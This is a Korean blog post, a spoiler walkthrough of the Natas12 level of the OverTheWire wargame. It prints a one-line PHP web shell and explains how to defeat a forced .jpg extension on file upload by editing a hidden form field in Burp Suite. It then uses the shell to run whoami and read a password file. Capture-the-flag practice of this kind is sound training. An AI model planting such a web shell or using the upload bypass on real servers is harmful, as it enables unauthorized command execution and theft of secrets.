메뉴 건너뛰기

노루발의 개인 게시판

이번 과제에서는 파일을 올릴 수 있게 되어있다.

파일을 업로드해서 그 파일이 /etc/natas_webpass/natas13 파일을 읽게 하고, 그 결과를 뿌려주게 하면 될 것이다.


아래와 같은 내용의 shell.php를 저장한다.

<?php
echo shell_exec($_GET['cmd']);
?>


그리고 파일을 업로드하면 확장자가 자동으로 .jpg로 바뀌어 올라간다. php로 업로드할 방법은 없는가?


소스를 보면 다음과 같은 부분이 있다:

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

이 .jpg 부분을 php로 변경하면 php 파일을 업로드 할 수 있을 것이다.


Brup Suite를 사용하여 HTTP Response를 고치면 .jpg 부분을 .php로 변경할 수 있다.

업로드한 뒤 업로드가 끝난 파일로 접속하자.


http://natas12.natas.labs.overthewire.org/upload/tcya50cflf.php?cmd=whoami

정상적으로 파일이 업로드 된 것을 확인하기 위해 시험삼아 whoami 명령어를 실행한다.


정상적으로 실행되니 우리의 목적인 패스워드 파일을 읽어오자.

http://natas12.natas.labs.overthewire.org/upload/tcya50cflf.php?cmd=cat%20/etc/natas_webpass/natas13


끝!

분류 :
망한거
조회 수 :
15
등록일 :
2020.03.08
05:51:07 (*.149.251.217)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818062
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
36 망한거 (스포일러) Natas14 풀이 노루발 2020-03-10 12
35 망한거 (스포일러) Natas13 풀이 노루발 2020-03-10 7
» 망한거 (스포일러) Natas12 풀이 노루발 2020-03-08 15
33 망한거 (스포일러) Natas11 풀이 노루발 2020-03-07 19
32 망한거 (스포일러) Natas10 풀이 노루발 2020-03-07 13
31 망한거 (스포일러) Natas9 풀이 노루발 2020-03-06 11
30 망한거 (스포일러) Natas8 풀이 노루발 2020-03-06 8
29 망한거 (스포일러) Natas7 풀이 노루발 2020-03-06 10
28 망한거 (스포일러) Natas6 풀이 노루발 2020-03-06 9
27 망한거 (스포일러) Natas5 풀이 노루발 2020-03-06 7
26 망한거 (스포일러) Natas4 풀이 노루발 2020-03-06 4
25 망한거 (스포일러) Natas3 풀이 노루발 2020-03-06 7
24 망한거 (스포일러) Natas2 풀이 노루발 2020-03-06 10
23 망한거 (스포일러) Natas1 풀이 노루발 2020-03-06 9
22 망한거 (스포일러) Natas0 풀이 노루발 2020-03-06 15
21 마실것 캄포트를 만들자 [1] 노루발 2019-08-07 30
20 오토바이 엔진에서 잡음이 나서 고쳤습니다. [3] 노루발 2019-07-31 75
19 오토바이 오토바이 체인 청소 [1] 노루발 2019-07-29 183
18 오토바이 (약혐) 오토바이 체인 청소전 사진 [4] 노루발 2019-07-27 60
17 오토바이 엔진오일 확인하고 옴 노루발 2019-07-21 27